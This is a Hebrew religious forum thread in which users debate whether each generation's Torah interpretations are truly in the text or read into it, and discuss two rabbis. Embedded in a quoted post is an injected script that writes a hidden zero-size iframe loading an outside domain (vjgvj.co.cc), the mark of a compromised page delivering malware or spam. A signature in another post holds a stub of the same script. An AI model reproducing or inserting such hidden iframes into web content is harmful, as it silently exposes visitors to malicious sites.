|
|
| נשלח ב-16/1/2020 21:40 |
 |
| |
| Kaddish כתב: |  | שלום וברכה,התבקשתי לפרט: ובכן הרא"מ פייבלזון דיבר על כך שכל דור יש התמודדיות מחודשות ולא ניתן להתמודד עם תשובות שנתנו גדולי ישראל להתמודדויות שהיו במקומם להתמודדיות בדורנו. הוא ציין דוגמא לכך שאי אפשר לענות תשובה לשאלה כגון מדוע העוה"ב לא מוזכר בתורה ע"י תשובה של הרמב"ן שאומר שכיוון שהדבר פשוט התורה לא מזכירה זאת (מקווה שלא טעיתי בניסוח). הוא הרחיב לדבר על כך וציין דוגמאות שהיו דורות שהיו בהם התמודדיות שונות לא נאבק רש"י במה שנאבק רמב"ן ולא אלו במה שנאבק רמב"ם, וריה"ל ורשר"ש הירש לאחר דורות רבים נאבק על דברים אחרים לחלוטין, וכו'. בנוסף, הוא דיבר על התורה כהולכת ומתפתחת בהתאם לדורות והלומדים בכל דור ודור דנים ומפלפלים ומתייחסים לבעיות של ימיהם ומנסים לדלות תשובות מהתורה וכו'. כך מה שזכור לי - זה ממש בערך. שומעי לקחו של הרב פייבלזון טענו שהוא לא חידש דבר וזו הייתה שיחה שגרתית למדי והדברים היו פשוטים... באופן כללי אני שמעתי את הגרא"מ פייבלזון מספר פעמים, מדובר בת"ח ענק עם יכולת מחשבה יוצאת מן הכלל ועמקות מדהימה. יש קשר בינו לבין הרב אוריה ענבל וגם קצת הרב יהושע הידוע מקריית ספר. בקיצור - אחד מהאנשים היותר מעניינים. אגב, בלי קשר, מישהו יודע כיצד להירשם לפורום של אוצר החכמה? נרשמתי מספר פעמים ולא פנו אליי ולא קיבלתי שום מייל חזרה ונראה לי שפשוט לא מאשרים אותי משום-מה. יש פיתרון לכך?
תוקן על ידי Kaddish ב- 16/01/2020 10:22:26
|
|
בקיצור, הרב קוק.
אני נרשמתי בזמנו לאוצר החכמה, התקבלתי מיידית בלי שום וועדות קבלה.
 |
|
|
|
|
| נשלח ב-17/1/2020 08:46 |
|
| |
תלמידטועה
קדיש - תורה שתשובותיה כה נזילות וכל דור יכול להוציא ממנה תשובה אחרת, ספק אם יש בה באמת תשובות אמיתיות [לא שאין תשובות אמיתיות אלא ספק אם הן שתולות בה]. בכלל, מדוע התשובות כה רמוזות ומוחבאות עד שכל דור חושב את התשובות של קודמיו לכאלו שאינן מספיקות והן אינן כתובות יותר ברור? עלום בעיני מה כ"כ מפחיד לומר שהתשובות טמונות באנשים, בהגיון.
|
|
|
|
| נשלח ב-17/1/2020 10:12 |
|
| |
בוקר טוב תלמיד טועה,
התורה שבכתב המתפרשת ע"י חכמים אכן נתונה לפרשנויות - דבר זה עובדה הוא בתלמוד וגם בימינו - כל אחד מציע פרשנות אחרת לתורה ומוצא שם רעיונות שמשום מה מסתדרים עם ההגיון והראש של הדרשן התורן. כמובן יש דברים יסודיים שאי אפשר לשתול בפרשנות התורה כגון שהאלוקים הוא רע או שאין אלוקים או שאין זה מעניין אותו מוסר משפט צדקה וחסד. אכן מה שאמרת זה דבר שיש בו מן האמת - אנשים משתמשים בהגיון כדי להבין את התורה ומנסים כוחם למצוא את ההבנה הנכונה לדעתם... אם לכך התכוונת...
|
|
|
|
| נשלח ב-17/1/2020 15:59 |
|
| |
תודה לכולם על ידע על ידע ועל יודעים ומוסרים.
ת"ט העלה שאלה חשובה ומפחידה. האם הפירושים שאנו מוסיפים על התורה או מוצאים בה הם "באמת שם" או שהם מעשה ידינו, כל דור לפי הגישה שלו שהוא מביא איתו לתורה?
מעניין מה יענו אותם רבנים שפורטו בעמוד הקודם על שאלה זו.
אני מציע דברים משלי. אפשר לומר כך:
כאשר בשר ודם מחבר חיבור, יש מקום לשאול למה התכוון. אם מפרשים בטקסט מה שלא התכוון אליו, זוהי, בלשונו של רבנו אומברטו אקו, פרשנות יתר.
אפשר לזהות מתי פירוש חורג מכוונת המחבר אם מביאים בחשבון את הרקע שעליו נאמרו הדברים ואת הרקע של המחבר. מן הסתם צריך להביא לזה דוגמאות אבל אין בידי כרגע. ואם צריך, אנסה לחשוב על דוגמאות פשוטות וידועות
אבל התורה אמורה להיות חיבור מסוג אחר לגמרי. למרות שיש מקום לשאול מהו ה"פשט" של התורה, גם בסיפורים וגם בהלכות, המחבר אינו בשר ודם. יש מאחורי התורה השראה אלוקית. לכן אפשר לנסות למצוא בתורה דברים שלא היו ברורים מראש לדור שקיבל אותה.
כמו כן, באותו חלק חוקי של התורה, וכמו בדוגמא של "עין תחת עין", אנו עשויים לפרש אותה באופן שנראה מחודש. אנו עשויים להבין שבתורה יש משפטים וכללים, ויש כללי-על וערכים. כאשר משפט וחוק מתחילים להיות סותרים לחלק הנתון של התורה, זו הזמנה לפרש אותה מחדש. לכן חז"ל יכלו להרשות לעצמם לטעון שבן סורר ומורה לא היה ולא נברא, כי גם אם הדין הזה היה אפשרי בדורות הראשונים, הוא כבר חריג בעיני האחרונים, ואני מתכוון לדורות התנאים.
למעשה, אפשר להעלות את הטיעון הפרשני הזה כלפי מערכות משפטיות אחרות, אם מקבלים שמערכות כאלו ניתנות לכתחילה על דעת שיתפרשו במשך הדורות הבאים. וכמדומה שיש ויכוח וגישות בשאלות כאלו גם לגבי מערכות משפטיות מודרניות. עד כמה שמדובר במוסדות שונים, התורה שלנו ותלמידי החכמים מכאן ומוסדות משפטיים כמו בית משפט עליון משם, יש שינויים בפרשנות של חוקים אצלנו ולהבדיל אצלם. ואמנם אצלנו זה מתבסס על יראת שמים ועל המחוייבות לערכים המשתקפים לנו בתורה ואצלם זה נעשה מתוך ערכים אנושיים, כמדומה. אצלנו מאחורי הערכים ניצבת האמונה באלוקים טוב ואוהב צדקה ומשפט. אצלם עומדים הערכים בפני עצמם. ויש להאריך בנושא מעניין זה.
אני משער שהנושא שהעליתי בפסקאות האחרונות, לגבי היקף הפרשנות המותר והנדרש, יהיה קצת חריג עבור רוב בתי המדרשות שצויינו לעיל. ומעניין לבדוק מה הופך דיון לחריג מדי עבור השמרנים. כי כולנו, כולל כותב שורות אלו, שמרנים במידת מה. ומה שהשמרנות מובילה אליו בדור מסויים, אינו זהה למה שהשמרן דוגל בו בפרטיו בדור אחר.
השורה האחרונה היא שעצור כאן חושבים עדיין דרוש, כי דיונים כמו שעלו פה הם יהיו חריגים עבור אלו שמנסים לשפר את הלמדנות הקלאסית.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-19/1/2020 10:33 |
|
| |
מניסיון שלי, אפשר פשוט לשאול את אותם הרבנים... הם ישמחו לענות. הם זמינים במיילים שלהם...
|
|
|
|
| נשלח ב-19/1/2020 23:46 |
|
| |
ינוח
| מיימוני כתב: | | אנו עשויים להבין שבתורה יש משפטים וכללים, ויש כללי-על וערכים. < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הייתי מסכים כי אמור להיות כלל-העל. ויתר על כן, חוסר זהותו וחוסר הבנתו הוא שתוקע את היהדות, וכתוצאה, חכמי התורה עכשוויים נמצאים קרוב יותר בזנב העם מאשר בראשו, במגננה מאשר בהובלה.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-20/1/2020 07:21 |
|
| |
תלמידטועה
מיימוני כתב: "אבל התורה אמורה להיות חיבור מסוג אחר לגמרי. למרות שיש מקום לשאול מהו ה"פשט" של התורה, גם בסיפורים וגם בהלכות, המחבר אינו בשר ודם. יש מאחורי התורה השראה אלוקית. לכן אפשר לנסות למצוא בתורה דברים שלא היו ברורים מראש לדור שקיבל אותה. כמו כן, באותו חלק חוקי של התורה, וכמו בדוגמא של "עין תחת עין", אנו עשויים לפרש אותה באופן שנראה מחודש. אנו עשויים להבין שבתורה יש משפטים וכללים, ויש כללי-על וערכים. כאשר משפט וחוק מתחילים להיות סותרים לחלק הנתון של התורה, זו הזמנה לפרש אותה מחדש. לכן חז"ל יכלו להרשות לעצמם לטעון שבן סורר ומורה לא היה ולא נברא, כי גם אם הדין הזה היה אפשרי בדורות הראשונים, הוא כבר חריג בעיני האחרונים, ואני מתכוון לדורות התנאים". עולה כי ההשראה בדור א שונה מזו של ב. מי ערב לנו שהשראתינו כיום נכונה? אולי בעוד שנתיים הפרשנות תשתנה? מה שווה פרשנות כזו?. אתה למעשה לש את התורה לפי הבנתך הנוכחית. זה דומה מאוד לדיעה הרווחת שאמנם לכל מצווה יש את התיקון שלה בעולמות העליונים וכאשר הלכה כפלוני בדור א' ולאחר מכן נפסקה כאלמוני בדור ב' זה בגלל שבדור א' התאים תיקון א' ובדור ב' התאים תיקון ב'. בעיני זו התחמקות וגם בלתי סביר. מה שיותר חמור הוא שלמעשה אתה נוהג לפי הערכים שלך ומשלה את עצמך שאתה נוהג לפי ערכי התורה. בהלכה זה הגיוני היות וההלכה מן הסתם אינה "אמת" במובן של חתירה לכוונת המחוקק. יתכן מאוד שאין כוונת המחוקק חתוכה. ה' נתן לנו טקסט שנהיה משועבדים איליו, אבל הוא פתוח במידה מסויימת ונתון לפרשנות. מה שחשוב זה עצם השעבוד לטקסט וכל עוד הפרשן מפרש כאשר הוא מרגיש מחוייב לחוק זה בסדר. כאשר ערך מסויים מיובא מבחוץ הפירוש אינו מחוייב לטקסט, ורק כאשר הערך נהיה מוטמע בפרשן ללא הכרתו אז הוא כשר לבוא בקהל היות והפרשן מרגיש כפוף רק לטקסט. וכפי שנאמר, יש גישה כזו בפסיקה.
|
|
|
|
|
| נשלח ב-20/1/2020 08:43 |
|
| |
לאמונה בתורה יש קומה נוספת מעל האמונה בספר. והיא האמונה באלוקים עצמו. כיוון שלא רק %הספר הוא אלוקי, אלא %החכמה אלוקית. והחכמה, מופיעה בספר, אבל כמו שכתוב "כמה טיפשאי אינשי דקיימי מקמי ספר תורה ולא קיימי מקמי גברא רבה", ומחשבה מועלת אפילו לדברי תורה, ואילו המחשבה היא בקדושה, מהיכן באה, אלא מנשמת חיים טהורה שנפח באפיו האלוקים, ועל כן היא פירוש אמיתי לדברי תורה, ואם אינה %"פשט" על כל פנים היא %אמת מצד הרעיון המנחה באותו הפירוש, ו%על כל פנים צריך שיהא מכוון לספר, שהוא ההשתדלות הנדרשת מכל מפרש, אבל העושה השתדלות ודאי ה' יהיה בעזרו, וכתב הגר"א שהפירושים שמחדש על פי פשט צריכים להיות מכוונים על פי סוד, והיא היא, דהיינו הפירושים על הכתוב בכתבי הקודש, צריכים להיות על פי דעת חכמי הקודש, ואז יכוון לאמת, ומוסיף הגר"א וכשהחכם לומד סוד אז מבין שגם מה שחידש על פי פשט גם כן אמת ונכון, וכי אם בתחילה לא ידע היאך כיוון על פי סוד, אלא בתחילה כיוון שיהיו דבריו על פי דעת ושיטת וחכמת והנחיית ואווירת ולימוד והעולם הרוחני ודרכי החכמה העיקריים שמלמדים חכמי הסוד, כגון עיקרי אמונה וכדומה, ועכשיו שלמד את הסוד עצמו, מבין היאך הפשט שחידש הוא אמת לא רק על פי כלליות שיטת הסוד, אלא על פי הסוד עצמו המותאם לזה ממש, ולזה ביארו בכל מקום שלכל שבט יש את הדרך שלו, ולכל שישים ריבוא יש אות בתורה, ואינו רק דרש יפה שלכולם יש חלק באמת, אלא באמת חלקם בפשט הוא מונח בסוד עצמו על פי שורש נשמתם, %ומי שילך דווקא נגד הפשט, %או דווקא נגד עיקרי הסוד שמנחים חכמי ישראל באמת, %אז לא ימצא הדרך גם אם בפשט יראה שדבריו מכוונים, %כי באמת אם אין דבריו מכוונים לאווירה ולרצון התורה, %אז יהיה ממש נבל ברשות התורה, והוא נבל ברשות הספר ואינו נבל ברשות חוכמת הקודש, כי אצל חוכמת הקודש אין רשות כזו לעולם, והוא גנב את רשות התורה מרשות החכמה, וסוף שאלוקי חוכמת הקודש יינקם בו להשיב ספר התורה אל מקומו, ואם ישוב מדרכו הרעה, אז יושבו דבריו איתו ויושבו חידושיו ככל שישוב עליהם ישובו איתו אל מקומו בתשובה, ויקבלו צביון חדש, ובלבד שיעמול עליהם, והאומר "ערך המוטמע בפרשן ללא הכרתו אז הוא כשר לבוא בקהל", אדרבה ואדרבה, אם הוא חסר מודעות להשפעותיו אז מצבו גרוע, ולא עשה ההשתדלות הנדרשת לפרש הפשט, אלא גם עניינים שמחוץ לבית המדרש יש בכל דבר ניצוץ אלוקי, ואילו יכוון לניצוץ האלוקי אז גם אם בפשט יגיד דבר הנשמע כפשט וגם אם יגיד דבר שאולי יש להקשות עליו, מכל מקום כל עוד מכוון לניצוץ האלוקי ה' יסייענו, ואילו יכוון לפשט איזה שיהיה בלא לדעת מה ההשפעות מבחוץ, אז לא עשה ההשתדלות, ומי יימר שתהיה לו סייעתא, ודאי יש לו סייעתא להיות דבק בספר, אבל איזה סייעתא תהיה לו להיות דבק בקדושת החכמה שרק היא יכולה לפרוש כנפיה אל מחוץ לספר, כי העיקר אינו "כוונת מחוקק הספר" אלא "כוונת מחוקק החכמה", ואילו כיוון לחכמת הקודש הרי דבריו מקובלים, ואילו כיוון לספר קודש אז צריך לבדוק את קומת חכמת הקודש גם כן, והפילוסופים היהודים שהיו, כל דבריהם בחונים על פי עיקרון זה, אם דבריהם מתאימים ל%"רוח החוק" ו"רוח האמונה" או לא. לא %"כוונה המחוקק וקובע העיקרים הספיציפית בחוק ובעיקר אמונה זה", אלא %"רוח החוק והאמונה שהיא חכמת הקודש ובלבד שיעשה השתדלות בכוונה לפרש הפשט", והיינו "עשה דברים לשם פעלם ודבר בהן לשמן", עשה דברים על פי רוח החוק, ופרשם תוך השתדלות להבין כל חוק ספיציפי.
|
|
|
|
|
| נשלח ב-21/1/2020 01:22 |
|
| |
ינוח
| תלמידטועה כתב: | |
עולה כי ההשראה בדור א שונה מזו של ב. מי ערב לנו שהשראתינו כיום נכונה? אולי בעוד שנתיים הפרשנות תשתנה? מה שווה פרשנות כזו?
|
|
גם אצל הגר"א הענישו במלקות, במיוחד את החסידים הבולטים.
ומה קרה עם ההשראה עכשיו? היש זקני התורה עכשיו שחולמים לחזור למלקות?
אולי תסביר מה קרה עם ההשראה?
_________________
תוקן על ידי ינוח ב- 21/01/2020 01:23:45
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
|
| נשלח ב-27/1/2020 20:54 |
|
| |
בן ציון כהנא איך אתה קשור לרב ענבל/פייבלזון?
|
|
|
|
| נשלח ב-29/1/2020 09:36 |
|
| |
| Kaddish כתב: | | | בן ציון כהנא איך אתה קשור לרב ענבל / פייבלזון? |
|
למעשה, גם עם הרב אליהו מאיר פייבלזון וגם עם הרב אוריה עינבל אין לי היכרות אישית מעמיקה, עם שניהם נפגשתי רק פעם אחת לשיחה בארבע עיניים, ובעוד כמה הזדמנויות הייתי אתם בשיעור או בפאנל וכיו"ב, אבל בשניהם אני מגלה עניין רב.
את הרב פייבלזון הכרתי לראשונה לפני 16 שנים, הוא למד אז בכולל של "וולפסון" ו"נפש יהודי" בהר הצופים, והיה מוסר שיחות בישיבת "דרך השם". מאז אני עוקב אחרי דרכו ופעילותו, ואני מזהה בו אדם שהיה יכול לשמש כמנהיג משמעותי אצל "החרדים החדשים", אבל נראה שהוא במודע לא מעוניין בכך. אני חושב שבשיחתו האחרונה הוא הסביר זאת באופן ברור.
על הרב אוריה שמעתי גם כן לפני שנים רבות, אולם כבר אז שמעתי עדויות על כך שהוא ושני אחיו (הרב יהושע והרב דוד) מסתייגים ממני. לפני כשש שנים נפגשנו לראשונה, ומאז לא הרבינו להיפגש, אבל אני עוקב בעניין רב אחרי פעילות "בית מדרש הגר"א". נראה שהוא זיהה באופן מדויק את הצורך של בחורי ישיבות ואברכים מצוינים בעולם הישיבות בימינו, והוא הצליח להביא לפעילות בית מדרש הגר"א עשרות בחורים ואברכים מיוחדים במינם.
כאדם שעוסק רבות בשינויים בקהילה החרדית, ובפרט בשנים האחרונות כשדעתי נתונה על הנעשה בתוך עולם הישיבות, שני הרבנים הללו מעניינים אותי מאוד, ועאכו"כ כשר' דוד כהן הפנה אליהם את הזרקור.
_________________
אם אתה מאמין שיכולים לקלקל, תאמין שיכולים לתקן.
|
|
|
|
| נשלח ב-29/1/2020 13:08 |
|
| |
אכן הרב פייבלזון התבטא כמה פעמים על כך שהוא לא מעוניין להיות רבם של "החרדים החדשים". הוא ביאר כמה פעמים מדוע, וציין שפנו אליו בנושא הזה כמה פעמים והוא סירב להיות נתפס כרבם...
האחים ענבל מסתייגים ממך? מעניין. אתה מזדהה בזהותך האישית שניתן לדעת עליך?
|
|
|
|
|
